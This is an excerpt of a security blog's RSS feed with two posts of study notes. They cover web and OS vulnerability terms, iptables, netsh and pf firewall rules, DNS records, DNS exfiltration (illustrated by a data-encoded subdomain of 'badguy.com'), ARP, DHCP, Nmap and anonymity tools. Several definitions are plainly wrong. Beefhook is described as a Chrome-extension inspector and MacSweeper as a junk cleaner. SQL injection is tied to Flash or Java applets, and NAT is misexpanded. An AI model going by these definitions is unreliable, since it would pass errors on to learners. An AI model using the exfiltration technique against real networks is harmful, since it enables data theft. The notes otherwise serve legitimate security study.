<li><p><strong>Cookies:</strong> Cookies are small text files that are stored on the client's computer by a website. They can be used to remember user preferences, store user data, or track user behavior on a website. By setting the "HttpOnly" attribute in the cookie, a website can indicate that the cookie should only be accessible by the server and not by JavaScript. This helps to prevent Cross-Site Scripting (XSS) attacks, as the attacker cannot access or steal the cookie data.</p>
</li>
<li><p><strong>CSRF:</strong> Cross-Site Request Forgery (CSRF) is a type of attack that allows an attacker to perform unauthorized actions on behalf of a victim, using their existing session. This can be done by tricking the victim into visiting a malicious website that sends a request to a vulnerable website, with the victim's cookies attached. The request will be executed as if it was made by the victim, leading to unintended consequences. To prevent CSRF, websites can implement various mitigation techniques, such as checking the origin of incoming requests or requiring a unique token to be submitted with each request.</p>
</li>
<li><p><strong>XSS:</strong> Cross-Site Scripting (XSS) is a type of security vulnerability that allows an attacker to inject malicious scripts into a web page viewed by other users. XSS attacks can take various forms, such as Reflected XSS, where the attacker's payload is immediately executed by the browser in response to a request, or Persistent XSS, where the malicious script is stored on the server and executed every time the page is viewed. There are also client-side XSS attacks, also known as DOM-based XSS, where the malicious script is executed directly by the browser without requesting the server.</p>
</li>
<li><p><strong>SQLi:</strong> SQL Injection (SQLi) is a type of attack that targets the database of a website by injecting malicious SQL commands into an input field, such as a search bar or a form. The attacker's goal is to manipulate the database and extract sensitive information, such as login credentials or personal data. SQLi attacks can also be performed through malicious software installed on the victim's computer, such as a person-in-the-browser (PITB) attack using a malicious Flash or Java applet. To prevent SQLi, websites must validate and sanitize user input and properly escape any special characters that might be used in an SQLi attack.</p>
</li>
<li><p><strong>POST:</strong> POST is one of the two main HTTP methods (the other being GET) used to send data from a client to a server. The POST method is typically used to submit form data, as it can transmit large amounts of data and is more secure than GET, as the data is not visible in the URL.</p>
</li>
<li><p><strong>GET:</strong> GET is the other main HTTP method used to retrieve data from a server. The GET method sends a request to the server with query parameters attached to the URL, which can be used to specify the data that should be returned. Unlike POST, the data sent with a GET request is visible in the URL and has a limit on the amount of data that can be sent.</p>
</li>
<li><p><strong>Directory traversal:</strong> Directory traversal, also known as path traversal, is a type of security vulnerability that allows an attacker to access files and directories on a server that they should not be able to see. This can be done by injecting ../ or ./ into a URL or a form field, which causes the server to traverse the file system to a different directory than intended. There are various tools available that automate directory traversal attacks.</p>
</li>
<li><p><strong>APIs:</strong> An API (Application Programming Interface) is a set of rules that allows different software systems to communicate with each other. APIs can return various types of information, such as data, images, or status codes, and can also receive data, such as parameters or authentication credentials. When working with APIs, it's important to understand what information they return and what data can be sent, as this can have security implications.</p>
</li>
<li><p><strong>Beefhook:</strong> Beefhook is a tool used to examine the behavior of Chrome extensions, including the data they access and the requests they make. This can be useful for security purposes, as it allows researchers and developers to identify potential security vulnerabilities in extensions.</p>
</li>
<li><p><strong>User agents:</strong> A user agent is a string sent by a client to a server that identifies the type of client and the software used. The user agent can be used to determine if the client is a legitimate browser or a bot, as bots typically have unique user agents that can be easily recognized.</p>
</li>
<li><p><strong>Browser extension take-overs:</strong> A browser extension take-over occurs when an attacker can install a malicious extension in a browser, either by exploiting a security vulnerability or by tricking the user into installing it. Malicious extensions can perform various malicious activities, such as mining cryptocurrency, stealing login credentials, or displaying unwanted ads.</p>
</li>
<li><p><strong>Local file inclusion:</strong> Local file inclusion (LFI) is a type of security vulnerability that allows an attacker to include and execute local files on the server. This can be done by injecting malicious file paths into a URL or a form field, allowing the attacker to execute arbitrary code on the server.</p>
</li>
<li><p><strong>Remote file inclusion (RFI):</strong> Remote file inclusion (RFI) is a type of security vulnerability that allows an attacker to include and execute remote files on the server. This can be done by injecting a URL into a form field or a parameter, causing the server to retrieve and execute the remote file. RFI attacks are less common these days due to improved security measures and the decline in popularity of certain programming languages, such as PHP.</p>
</li>
<li><p><strong>SSRF:</strong> Server-Side Request Forgery (SSRF) is a type of security vulnerability that allows an attacker to send a malicious request from a vulnerable server to another server. This can be used to access restricted resources on the target server, such as internal network resources or local files.</p>
</li>
<li><p><strong>Web vulnerability scanners:</strong> Web vulnerability scanners are tools that automate the process of identifying security vulnerabilities in web applications. These tools can identify a wide range of security issues, including SQL injection, cross-site scripting (XSS), and cross-site request forgery (CSRF).</p>
</li>
<li><p><strong>SQLmap:</strong> SQLmap is an open-source tool used to automate the process of detecting and exploiting SQL injection vulnerabilities in web applications. It can be used to retrieve data from databases, execute arbitrary SQL commands, and even take full control of the underlying server.</p>
</li>
<li><p><strong>Malicious redirects:</strong> A malicious redirect is a type of attack in which a user is redirected to a different website without their knowledge or consent. This can be done by injecting malicious code into a vulnerable website or by using a phishing technique, such as a fake login page. Malicious redirects can be used to steal sensitive information, such as login credentials, or to distribute malware.</p>
</li>
</ul>
<h3 id="heading-infrastructure-prod-cloud-virtualisation">Infrastructure (Prod / Cloud) Virtualisation:</h3>
<blockquote>
<p>Infrastructure (Prod / Cloud) Virtualisation is the process of creating and managing virtual versions of physical resources, such as servers, storage, and networking. This technology enables multiple virtual systems to run on a single physical host, increasing efficiency, scalability, and security.</p>
<p>Cloud virtualization specifically refers to virtualization in cloud computing environments, where cloud providers offer virtual resources as a service over the internet. This allows organizations to run their applications and store their data in virtual environments provided by the cloud provider, rather than on physical hardware they own and maintain.</p>
</blockquote>
<ul>
<li><p><strong>Hypervisors:</strong> A hypervisor is a type of virtualization technology that allows multiple virtual machines (VMs) to run on a single physical host. The hypervisor provides a layer of abstraction between the physical host and the virtual machines, allowing each VM to run its operating system and applications independently.</p>
</li>
<li><p><strong>Hyperjacking:</strong> Hyperjacking refers to the act of compromising a hypervisor and gaining unauthorized access to its virtual machines. This type of attack can allow an attacker to steal sensitive information or compromise multiple VMs at once.</p>
</li>
<li><p><strong>Containers, VMs, clusters:</strong> Containers, virtual machines (VMs), and clusters are different types of virtualization technologies. Containers are a lightweight form of virtualization that provide isolation between applications without the overhead of a full virtual machine. VMs are a traditional form of virtualization that allows multiple operating systems to run on a single physical host. Clusters are a group of interconnected VMs that work together to provide high availability and scalability.</p>
</li>
<li><p><strong>Escaping techniques:</strong> Escaping techniques refer to methods used by attackers to escape from a virtualized environment and access the underlying physical host. This can be used to steal sensitive information or compromise the host system.</p>
</li>
<li><p><strong>Lateral movement and privilege escalation techniques:</strong> Lateral movement and privilege escalation are tactics used by attackers to move from one system to another and gain elevated privileges. In cloud environments, cloud service accounts can be used for lateral movement and privilege escalation. GCPloit is a tool for exploiting vulnerabilities in Google Cloud Projects.</p>
</li>
<li><p><strong>Site isolation:</strong> Site isolation is a security technique that separates different parts of a website into separate sandboxes. This helps to prevent cross-site scripting (XSS) and other types of attacks that could allow an attacker to access sensitive information.</p>
</li>
<li><p><strong>Side-channel attacks:</strong> Side-channel attacks refer to attacks that exploit information that is leaked through the side channels of a system, such as power consumption or electromagnetic radiation. Spectre and Meltdown are examples of side-channel attacks that exploit weaknesses in modern processors.</p>
</li>
<li><p><strong>BeyondCorp:</strong> BeyondCorp is a security model that is designed to trust the device (such as a laptop or smartphone) but not the network. This allows organizations to provide secure access to resources from anywhere, without the need for a traditional VPN.</p>
</li>
<li><p><strong>Log4j vulnerability:</strong> The Log4j vulnerability is a security vulnerability in the Log4j logging framework that can be exploited by attackers to inject malicious code into Java applications. This vulnerability can lead to remote code execution, data theft, and other types of attacks.</p>
</li>
</ul>
<h3 id="heading-os-implementation-and-systems">OS Implementation and Systems:</h3>
<ul>
<li><p>OS Implementation and Systems refer to how an operating system is implemented and the various systems and components that make it up.</p>
<p>  <strong>Privilege escalation techniques:</strong> Techniques used by attackers to increase their level of access and control over a system, such as exploiting vulnerabilities, misconfigurations, or weak passwords.</p>
<p>  <strong>Buffer Overflows:</strong> A type of software vulnerability where an attacker can cause a program to crash or execute unintended code by sending more data to a buffer than it can handle.</p>
<p>  Directory traversal: An attack where an attacker manipulates file paths in a request to access files and directories that are outside of the intended directory structure.</p>
<p>  <strong>Remote Code Execution:</strong> A type of attack where an attacker can execute arbitrary code on a remote system. This is often achieved through exploiting software vulnerabilities or weak configurations.</p>
<p>  <strong>Local databases:</strong> Databases that are stored locally on a device, rather than on a remote server. For example, some messaging apps use SQLite for storing messages.</p>
<p>  <strong>Windows:</strong> A popular operating system used by many organizations and individuals.</p>
<p>  <strong>Windows registry:</strong> A database that stores configuration settings and options for the Windows operating system and its applications.</p>
<p>  Group Policy: A feature in Windows that allows administrators to set policies for users and computers in an Active Directory environment.</p>
<p>  <strong>Active Directory (AD):</strong> A centralized database used by Windows to store user, computer, and network information.</p>
<p>  <strong>Bloodhound tool:</strong> A tool used to visualize and analyze the relationships and privileges within an Active Directory environment.</p>
<p>  Kerberos authentication with AD: A network authentication protocol used by Windows to provide secure authentication over unsecured networks.</p>
<p>  Windows SMB: The Server Message Block protocol used by Windows for file and print sharing.</p>
<p>  <strong>Samba:</strong> A free, open-source implementation of the SMB protocol that allows non-Windows systems to share files and printers with Windows systems.</p>
<p>  ROP: Return-Oriented Programming, a type of attack that exploits buffer overflows by chaining together small fragments of code, rather than injecting new code into a buffer.</p>
</li>
<li><p><strong>*nix</strong> refers to Unix-like operating systems, including Linux and Unix.</p>
<p>  SELinux is a security extension for Linux, which provides mandatory access control policies to the operating system.</p>
<p>  The kernel in <em>nix operating systems is the central component of the operating system that manages system resources and communicates with the hardware. Userspace is the portion of the operating system where applications and user-level processes run. Permissions are used to control access to resources in</em> nix systems, such as files and directories.</p>
<p>  <strong>MAC (Mandatory Access Control)</strong> is a type of access control where the system enforces rules for accessing resources, whereas DAC (Discretionary Access Control) allows users to set their own access rules for resources.</p>
<p>  /proc is a virtual file system in <em>nix operating systems, which provides information about system processes. /tmp is a directory in the</em> nix operating system used for the temporary storage of files, and code can be saved and executed from there. /shadow contains encrypted passwords for user accounts.</p>
<p>  <strong>LDAP (Lightweight Directory Access Protocol)</strong> is a protocol used for accessing and maintaining directory information services over an Internet Protocol network. It allows users to have a single password for multiple services, similar to Active Directory in Windows.</p>
<p>  <strong>MacOS</strong> is an operating system for Apple Macintosh computers. The Gotofail error was a bug in the SSL/TLS cryptographic software library in MacOS, which allowed attackers to intercept secure communications between two parties. MacSweeper was a software tool used for cleaning up junk files on MacOS. Researching Mac vulnerabilities involves identifying security weaknesses and flaws in the MacOS operating system and finding ways to fix them.</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Security engineering  basing on gracenolan notes. part 2]]></title><description><![CDATA[Welcome back. let's seize the moment!

Let's look at firewalls.
What are firewalls?

A firewall is a network security system that monitors and controls the incoming and outgoing network traffic based on predetermined security rules and policies. The ...]]></description><link>https://blog.oscakampala.org/security-engineering-basing-on-gracenolan-notes-part-2</link><guid isPermaLink="true">https://blog.oscakampala.org/security-engineering-basing-on-gracenolan-notes-part-2</guid><category><![CDATA[notes]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[CyberSec]]></category><category><![CDATA[Security]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[WarrenMu]]></dc:creator><pubDate>Thu, 26 Jan 2023 19:59:01 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1674740039025/0ad9d852-797a-4ec9-8a52-aa1c6061c28f.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>Welcome back. let's seize the moment!</p>
</blockquote>
<p>Let's look at firewalls.</p>
<h3 id="heading-what-are-firewalls"><strong>What are firewalls?</strong></h3>
<ul>
<li>A firewall is a network security system that monitors and controls the incoming and outgoing network traffic based on predetermined security rules and policies. The main purpose of a firewall is to prevent unauthorized access to or from a private network and to block malicious or unwanted traffic. Firewalls can be hardware-based or software-based and are commonly used to protect networks connected to the internet.</li>
</ul>
<p><strong>Rules to prevent incoming and outgoing connections:</strong></p>
<p>Firewall rules are used to control incoming and outgoing network traffic based on predefined criteria such as IP address, port number, protocol, and other parameters. These rules can be used to:</p>
<ul>
<li><p>Block incoming traffic from certain IP addresses or ranges. Allow incoming traffic only from specific IP addresses or ranges.</p>
</li>
<li><p>Block incoming traffic on certain ports.</p>
</li>
<li><p>Allow incoming traffic only on specific ports.</p>
</li>
<li><p>Block outgoing traffic to certain IP addresses or ranges.</p>
</li>
<li><p>Allow outgoing traffic only to specific IP addresses or ranges.</p>
</li>
<li><p>Block outgoing traffic on certain ports.</p>
</li>
<li><p>Allow outgoing traffic only on specific ports.</p>
</li>
<li><p>Inspect and filter traffic based on protocol, such as HTTP or HTTPS.</p>
</li>
<li><p>Inspect and filter traffic based on application layer data, such as file types or keywords.</p>
<p>  The rules are applied to the firewall in a specific order, and the firewall evaluates each packet of incoming and outgoing network traffic against the rules in that order. If a packet matches one of the rules, the firewall will take the action specified in that rule, such as allowing or blocking the traffic.</p>
</li>
</ul>
<p>The specific code for configuring firewall rules will depend on the software or hardware firewall you are using. Here are some examples of firewall rule configurations for different platforms:</p>
<p><strong>IPTables (Linux):</strong></p>
<pre><code class="lang-bash">iptables -A INPUT -s 192.168.1.0/24 -j DROP
</code></pre>
<p>This command will block all incoming traffic from the IP address range 192.168.1.0 to 192.168.1.255</p>
<pre><code class="lang-bash">iptables -A OUTPUT -d 10.0.0.0/8 -j DROP
</code></pre>
<p>This command will block all outgoing traffic to the IP address range 10.0.0.0 to 10.255.255.255</p>
<p><strong>Windows Firewall (Windows):</strong></p>
<pre><code class="lang-bash">netsh advfirewall firewall add rule name=<span class="hljs-string">"Block incoming traffic from 192.168.1.0/24"</span> dir=<span class="hljs-keyword">in</span> remoteip=192.168.1.0/24 action=block
</code></pre>
<p>This command will block all incoming traffic from the IP address range 192.168.1.0 to 192.168.1.255</p>
<pre><code class="lang-bash">netsh advfirewall firewall add rule name=<span class="hljs-string">"Allow outgoing traffic to 10.0.0.0/8"</span> dir=out remoteip=10.0.0.0/8 action=allow
</code></pre>
<p>This command will allow all outgoing traffic to the IP address range 10.0.0.0 to 10.255.255.255</p>
<p><strong>pf (FreeBSD, OpenBSD):</strong></p>
<pre><code class="lang-bash">block <span class="hljs-keyword">in</span> quick on <span class="hljs-variable">$ext_if</span> from 192.168.1.0/24
</code></pre>
<p>This command will block all incoming traffic from the IP address range 192.168.1.0 to 192.168.1.255</p>
<pre><code class="lang-bash">block out quick on <span class="hljs-variable">$ext_if</span> to 10.0.0.0/8
</code></pre>
<p>This command will block all outgoing traffic to the IP address range 10.0.0.0 to 10.255.255.255</p>
<p><strong>Note:</strong></p>
<blockquote>
<p>Please note that the above commands are examples and might not work in your specific environment.</p>
</blockquote>
<p>That's it for firewalls. let's dive into NAT (Network Addressing Table)</p>
<h3 id="heading-nat-network-address-translation"><strong>NAT (Network Address Translation):</strong></h3>
<ul>
<li><p>is a method of remapping one IP address space into another by modifying network address information in the IP header of packets while they are in transit across a traffic routing device. The technique was originally used for ease of rerouting traffic in IP networks without readdressing every host.</p>
</li>
<li><p>NAT operates on a router, usually connecting two networks, and translates the private (not globally unique) addresses in the internal network into legal addresses, e.g. Internet Protocol (IP) addresses, on the external network (the Internet). This allows computers on a private network to communicate with the Internet as if they had a globally unique IP address, while still maintaining the benefits of a private network (for example, security, addressing, and so on).</p>
</li>
<li><p>NAT is typically used to allow multiple hosts on a private network to access the Internet using a single public IP address, which is typically assigned by an Internet Service Provider (ISP) to the router. This is often used in home and small office networks, where obtaining a block of public IP addresses would be impractical or too costly.</p>
</li>
<li><p>NAT can also be used for other purposes, such as load balancing or connecting multiple networks. Additionally, NAT can be implemented on a host, rather than a router, allowing a single host to communicate with the Internet using a different IP address than its own.</p>
</li>
<li><p>IPv4 and IPv6 are the two versions of Internet Protocol (IP) in use today.</p>
<p>  IPv4, the first version of IP, was first implemented in the early 1980s and has a 32-bit address space, which allows for a total of about 4.3 billion unique addresses. This address space is rapidly being exhausted as more and more devices are connected to the Internet. To solve this problem, IPv6 was developed, which has a 128-bit address space, allowing for a total of about 3.4 x 10^38 unique addresses.</p>
</li>
<li><p>One of the main differences between IPv4 and IPv6 is the size of the addresses. IPv4 addresses are 32 bits long, written in dot-decimal notation (for example, 192.168.1.1), while IPv6 addresses are 128 bits long, written in hexadecimal notation (for example, 2001:0db8:85a3:0000:0000:8a2e:0370:7334).</p>
</li>
<li><p>This larger address space in IPv6 allows for many more unique addresses and eliminates the need for NAT (Network Address Translation) which is used to map multiple private IP addresses to a single public IP address.</p>
<p>  Another difference is that IPv6 uses a simplified header format compared to IPv4. This allows for faster packet processing and more efficient routing. IPv6 also has built-in support for IPsec (Internet Protocol Security), which is an optional feature in IPv4. IPv6 also includes support for multicast (one-to-many) and anycast (one-to-nearest) addressing, which allows for more efficient communication in certain situations.</p>
</li>
<li><p>In summary, IPv4 and IPv6 are different versions of Internet Protocol, IPv4 is the first version that has a 32-bit address space which is becoming scarce, IPv6 was developed as a solution to this problem by having a 128-bit address space, simplified header format and built-in support for IPsec, multicast and anycast addressing</p>
</li>
</ul>
<h3 id="heading-dns"><strong>DNS:</strong></h3>
<ul>
<li><p>DNS (Domain Name System) is a hierarchical, decentralized system for naming and addressing Internet resources. It is used to translate human-friendly domain names, such as <a target="_blank" href="http://www.example.com">www.example.com</a>, into IP addresses that machines can understand, such as 192.0.2.1. This makes it easier for users to access Internet resources, as they can remember and type in domain names instead of IP addresses.</p>
</li>
<li><p>DNS is organized into a hierarchical tree-like structure, with the root of the tree at the top. The root is the highest-level domain and is not associated with any specific organization or country. It has a number of top-level domains (TLDs) such as .com, .org, .edu, .gov, and country-code TLDs (ccTLDs) such as .us, .uk, .fr, etc. Each TLD is managed by a separate organization, known as a registry.</p>
</li>
<li><p>Underneath the TLDs, there are second-level domains, such as <a target="_blank" href="http://example.com">example.com</a>. These are typically registered by organizations or individuals and can be further divided into subdomains, such as <a target="_blank" href="http://www.example.com">www.example.com</a>.</p>
<p>  The process of resolving a domain name to an IP address is handled by DNS servers, which are responsible for maintaining a database of domain names and their corresponding IP addresses. When a user requests a specific domain name, their computer sends a query to a DNS server, which then looks up the IP address associated with that domain name and returns it to the user's computer.</p>
</li>
<li><p>DNS is a critical infrastructure for the internet and it's usually used for name resolution for websites, email and other services. Without DNS, users would have to manually enter IP addresses every time they wanted to access a website or other online resource, which would be impractical and time-consuming.</p>
</li>
</ul>
<p><strong>(53):</strong></p>
<ul>
<li><p>The number 53 refers to the port number used by the Domain Name System (DNS) protocol. DNS uses the User Datagram Protocol (UDP) on port 53 to serve DNS queries. When a computer needs to resolve a hostname to an IP address, it sends a DNS query to a DNS server on port 53. The DNS server then responds with the requested IP address or with a referral to another DNS server that may have more information.</p>
</li>
<li><p>Port 53 is a well-known port, which means it is a registered port that is commonly used by DNS. As such, firewalls and other security devices are often configured to allow traffic to and from this port.</p>
</li>
<li><p>It's important to note that DNS can also use TCP port 53 when the response size is too large to fit in a single UDP packet and the client supports TCP.</p>
<p>  Since DNS is a fundamental infrastructure for the internet, it is important to have DNS servers running on port 53, to ensure that domain names can be resolved to IP addresses and internet services can be accessed.</p>
</li>
</ul>
<p><strong>Note:</strong></p>
<blockquote>
<p><strong>Requests to DNS are usually UDP unless the server gives a redirect notice asking for a TCP connection. Look-up in the cache happens first. DNS exfiltration. Using raw IP addresses means no DNS logs, but there are HTTP logs. DNS sinkholes.</strong></p>
<p>DNS requests are usually sent using the User Datagram Protocol (UDP) on port 53, but in some cases, if the DNS server responds with a "Truncated" flag, indicating that the response is too large to fit in a single UDP packet, the client may switch to using the Transmission Control Protocol (TCP) on port 53 to continue the transaction.</p>
<p>When a DNS query is made, the client will first check its local cache to see if it already has the requested information. If the information is not in the cache, the client will send a query to a DNS server. The DNS server will then check its cache and, if necessary, will forward the query to other DNS servers until it gets a response.</p>
<p>DNS exfiltration is a technique used to covertly exfiltrate data from a network by encoding it in DNS queries and responses. This can be done by using a domain name that looks like a normal domain name but is controlled by the attacker. The attacker can then use this domain name to send and receive data in a way that is difficult to detect.</p>
<p>Using raw IP addresses instead of domain names to access websites or other online resources can help evade detection by DNS logs. However, it is important to note that there are other types of logs, such as HTTP logs, that can still be used to track activity.</p>
<p>DNS sinkholes, also known as blackholes, are a security measure used to block access to malicious or unwanted domain names by redirecting DNS queries for those domain names to a non-existent IP address. This effectively prevents the client from reaching the domain name and can be used to block access to phishing sites, malware-hosting sites, and other types of malicious domains.</p>
<p><strong>In a reverse DNS lookup, PTR might contain-</strong> <a target="_blank" href="http://2.152.80.208.in-addr.arpa"><strong>2.152.80.208.in-addr.arpa</strong></a><strong>, which will map to 208.80.152.2. DNS lookups start at the end of the string and work backwards, which is why the IP address is backwards in PTR.</strong></p>
<p>A reverse DNS lookup, also known as a PTR (pointer) record lookup, is the process of looking up the hostname associated with a given IP address. The PTR record is used to map an IP address to a hostname and is stored in a special domain called <a target="_blank" href="http://in-addr.arpa">in-addr.arpa</a>.</p>
<p>In a reverse DNS lookup, the IP address is reversed and appended with "<a target="_blank" href="http://in-addr.arpa">in-addr.arpa</a>" to form the domain name used in the lookup. For example, a reverse DNS lookup for the IP address 208.80.152.2 would use the domain name <a target="_blank" href="http://2.152.80.208.in-addr.arpa">2.152.80.208.in-addr.arpa</a>.</p>
<p>The reason the IP address is reversed in PTR is because the <a target="_blank" href="http://in-addr.arpa">in-addr.arpa</a> domain is organized hierarchically, with the octets of the IP address being used to form the labels of the domain name in reverse order. This allows the DNS system to perform lookups in a hierarchical manner, starting at the root of the tree and working down to the specific PTR record.</p>
<p>It's important to note that not all IP addresses have a corresponding PTR record and a reverse DNS lookup may return a negative response.</p>
</blockquote>
<h3 id="heading-dns-exfiltration"><strong>DNS exfiltration:</strong></h3>
<ul>
<li><p>DNS exfiltration is a technique used to covertly exfiltrate data from a network by encoding it in DNS queries and responses. One way this can be done is by sending data as subdomains of a domain name controlled by the attacker. For example, an attacker could encode data in a subdomain such as <a target="_blank" href="http://26856485f6476a567567c6576e678.badguy.com">26856485f6476a567567c6576e678.badguy.com</a>. This can be difficult to detect as it does not show up in HTTP logs and may not be flagged as suspicious by security systems that are not specifically looking for this type of activity.</p>
</li>
<li><p>Another way to do this could be by using a domain name that looks like a normal domain name but is controlled by the attacker. The attacker can then use this domain name to send and receive data in a way that is difficult to detect.</p>
</li>
<li><p>It's important to note that DNS exfiltration is a highly advanced and sophisticated attack method that requires a deep understanding of the DNS protocol and the ability to encode and decode data in a way that is not easily detectable. The use of this method requires a lot of stealth, as it is a well-known technique used by attackers to evade detection.</p>
</li>
<li><p>It is important to have good security systems and monitoring in place to detect and prevent this type of attack, such as using software that can detect abnormal DNS traffic. Additionally, keeping the DNS servers and the software up-to-date and patching vulnerabilities promptly is also important.</p>
</li>
</ul>
<h3 id="heading-dns-configs"><strong>DNS configs:</strong></h3>
<ul>
<li><p>Start of Authority (SOA).</p>
</li>
<li><p>IP addresses (A and AAAA).</p>
</li>
<li><p>SMTP mail exchangers (MX).</p>
</li>
<li><p>Name servers (NS).</p>
</li>
<li><p>Pointers for reverse DNS lookups (PTR).</p>
</li>
<li><p>Domain name aliases (CNAME).</p>
</li>
</ul>
<p>are several types of DNS configuration records that are used to configure and manage a domain name:</p>
<ol>
<li><p>Start of Authority (SOA) - This record is used to define the primary DNS server for a domain, as well as other information such as the administrative contact and the serial number of the zone file.</p>
</li>
<li><p>IP addresses (A and AAAA) - These records are used to map a hostname to an IPv4 or IPv6 address respectively.</p>
</li>
<li><p>SMTP mail exchangers (MX) - These records are used to identify the mail servers for a domain so that email can be delivered to the correct server.</p>
</li>
<li><p>Name servers (NS) - These records are used to identify the DNS servers that are responsible for a domain so that DNS queries can be forwarded to the correct server.</p>
</li>
<li><p>Pointers for reverse DNS lookups (PTR) - These records are used to map an IP address to a hostname in a reverse DNS lookup.</p>
</li>
<li><p>Domain name aliases (CNAME) - These records are used to create an alias for a hostname so that multiple hostnames can resolve to the same IP address.</p>
</li>
</ol>
<p>These are the most common DNS configurations, but there are other types of records as well, such as SRV, TXT and others that can be used for specific purposes.</p>
<blockquote>
<p>It is important to note that DNS configurations can be complex and require a good understanding of the DNS protocol and the specific needs of the domain. Misconfiguring DNS records can cause problems such as email delivery failures, web server failures, or even complete loss of internet access.</p>
</blockquote>
<h3 id="heading-arp-address-resolution-protocol"><strong>ARP (Address Resolution Protocol):</strong></h3>
<ul>
<li><p>is a protocol used to map a network layer protocol address (such as an IP address) to a link layer (MAC) address on a local network. ARP is used to determine the link-layer (MAC) address corresponding to a given network-layer (IP) address, and it is typically used when a host wants to communicate with another host on a LAN.</p>
</li>
<li><p>When a host wants to communicate with another host on a LAN, it needs to know the MAC address of the destination host. It does this by broadcasting an ARP request message, which contains the IP address of the destination host, to all devices on the LAN. The device with the matching IP address responds with its MAC address, which is then used by the sender to send the data.</p>
</li>
<li><p>It's important to note that ARP is a broadcast protocol and it is not authenticated, which means that it can be subject to ARP spoofing attacks, where an attacker sends fake ARP messages to map its own MAC address to the IP address of another device on the network, allowing the attacker to intercept and possibly modify network traffic. To prevent this, techniques such as static ARP entries, ARP protection and DHCP snooping can be used.</p>
</li>
</ul>
<h3 id="heading-dhcp-dynamic-host-configuration-protocol"><strong>DHCP (Dynamic Host Configuration Protocol):</strong></h3>
<ul>
<li><p>is a network protocol used to dynamically assign IP addresses, subnet masks, default gateways, and other network configuration parameters to devices on a network. It operates over UDP (User Datagram Protocol) on ports 67 and 68. DHCP allows devices to automatically obtain IP addresses and other network configuration information, eliminating the need for manual configuration.</p>
</li>
<li><p>When a device wants to obtain an IP address, it sends a broadcast message called DHCPDISCOVER to the network, asking for an available IP address. The DHCP server, which is typically a router or a dedicated DHCP server, receives the DHCPDISCOVER message and responds with a DHCPOFFER message, which contains an available IP address and other network configuration information.</p>
</li>
<li><p>The device then sends a DHCPREQUEST message to the DHCP server, requesting the offered IP address. The DHCP server then sends a DHCPACK message to the device, confirming that the IP address has been assigned to the device.</p>
</li>
<li><p>It's important to note that DHCP also has several other message types like DHCPNAK, DHCPRELEASE, DHCPINFORM, and DHCPFORCERENEW which are used for specific purposes like indicating that an IP address is not available, releasing an IP address or renewing an IP address.</p>
</li>
<li><p>DHCP is widely used in networks to automatically configure IP addresses for devices, which is useful for networks that have a high turnover of devices or for devices that are not easily configured manually. However, DHCP can also be subject to DHCP spoofing attacks, where an attacker sends fake DHCPOFFER messages to assign a rogue IP address to a device, which can be mitigated by using DHCP snooping.</p>
</li>
</ul>
<h3 id="heading-multiplex"><strong>Multiplex:</strong></h3>
<ul>
<li><p>Multiplexing is the process of simultaneously transmitting multiple signals over a single communication channel. There are several types of multiplexing techniques, including:</p>
<ol>
<li><p>Time-division multiplexing (TDM) - In TDM, each signal is assigned a specific time slot within a larger time frame, and the time slots are used to transmit each signal in turn. This allows multiple signals to be transmitted over a single channel, by effectively "sharing" the channel over time.</p>
</li>
<li><p>Frequency-division multiplexing (FDM) - In FDM, each signal is assigned a specific frequency band within a larger frequency range, and the frequency bands are used to transmit each signal simultaneously. This allows multiple signals to be transmitted over a single channel, by effectively "sharing" the channel over frequency.</p>
</li>
<li><p>Statistical multiplexing - In statistical multiplexing, the channel capacity is adaptively shared among multiple signals, based on the instantaneous demand of each signal. This allows the channel to be used more efficiently, as the capacity is allocated to the signals that need it most.</p>
</li>
<li><p>Code-division multiplexing (CDM) - In CDM, each signal is assigned a unique code and all signals are transmitted simultaneously over the same channel by using the unique codes to distinguish the signals from one another.</p>
</li>
</ol>
</li>
</ul>
<pre><code>These are the most common types <span class="hljs-keyword">of</span> multiplexing, but there are other types <span class="hljs-keyword">as</span> well. It<span class="hljs-string">'s important to note that multiplexing can be useful in a variety of contexts, such as telecommunications, computer networks, and other applications where multiple signals need to be transmitted over a single channel.</span>
</code></pre><h3 id="heading-traceroute"><strong>Traceroute:</strong></h3>
<ul>
<li>Traceroute is a network troubleshooting tool that is used to trace the path that a packet takes from the source to the destination. It uses a combination of ICMP Echo Request (ping), UDP packets and TCP SYN packets to determine the path, and the time it takes for each hop (router) to respond. It is typically used to determine the path that a packet takes from the source to the destination, and to identify any bottlenecks or failures along the way. It uses the hop-limit, or Time-to-Live (TTL) field in the IP header to control the number of hops that the packet can make before it is discarded. The initial hop limit is typically set to 64 for *nix systems and 128 for windows.</li>
</ul>
<h3 id="heading-nmap"><strong>Nmap:</strong></h3>
<ul>
<li>Nmap is a network discovery and security auditing tool that can be used to identify hosts and services on a computer network and discover vulnerabilities. It can be used to scan a single host, a range of IP addresses, or an entire network. It can be used to identify open ports on a host and to determine the operating system and version of the host. It can also be used to discover vulnerabilities and conduct security assessments.</li>
</ul>
<h3 id="heading-intercepts-pitm-person-in-the-middle"><strong>Intercepts (PitM - Person in the middle):</strong></h3>
<ul>
<li>A "man-in-the-middle" (MitM) attack is a type of cyberattack where an attacker intercepts and alters the communication between two parties. This can be done by intercepting traffic between a client and a server, by intercepting DNS lookups, or by using other methods. To mitigate MitM attacks, it is important to use encryption and to use PKI (Public Key Infrastructure) to authenticate the identity of the parties involved in the communication.</li>
</ul>
<h3 id="heading-vpn"><strong>VPN:</strong></h3>
<ul>
<li>A Virtual Private Network (VPN) allows users to securely connect to a private network over the internet. VPNs use encryption and authentication to secure the connection and protect the data being transmitted. While VPNs can be used to protect traffic from being seen by the ISP, it is important to note that the traffic is still visible to the VPN provider.</li>
</ul>
<h3 id="heading-tor"><strong>Tor:</strong></h3>
<ul>
<li>Tor (The Onion Router) is a network that is designed to provide anonymity and privacy to its users. It uses a system of relays to route traffic through multiple layers of encryption, making it difficult to trace the origin of the traffic. While Tor can make it difficult for investigators to find individuals on the network, they may still be able to identify the individual by analyzing other factors such as the timing, location, and type of traffic being sent.</li>
</ul>
<h3 id="heading-proxy"><strong>Proxy:</strong></h3>
<ul>
<li>A proxy is a server that acts as an intermediary between a client and a server. Proxies can be used to improve security and privacy, but they are not foolproof solutions. Using multiple proxies, or "chaining" them, will not necessarily provide more security or privacy. It is also important to note that the traffic is still visible to the proxy server.</li>
</ul>
<h3 id="heading-bgbup"><strong>BG/buP:</strong></h3>
